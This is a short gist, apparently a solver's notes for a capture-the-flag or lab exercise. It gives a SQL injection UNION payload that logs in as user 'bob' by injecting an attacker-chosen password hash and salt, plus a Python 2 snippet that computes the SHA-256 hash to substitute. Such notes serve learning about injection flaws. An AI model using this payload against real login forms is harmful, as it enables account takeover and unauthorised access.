gistfile1.txt

So this should make the first part of the query in the code return nothing and it will be unioned with the second hand which should return bob's user id, my password_hash, and my salt value.

' UNION select id, '<USE VAL FROM PY BELOW>', 'test' from users where username='bob'; --


#!/usr/bin/env python

import hashlib
import json
import logging
import os
import sqlite3
import subprocess
import sys

calculated_hash = hashlib.sha256('testtest')
print calculated_hash.hexdigest()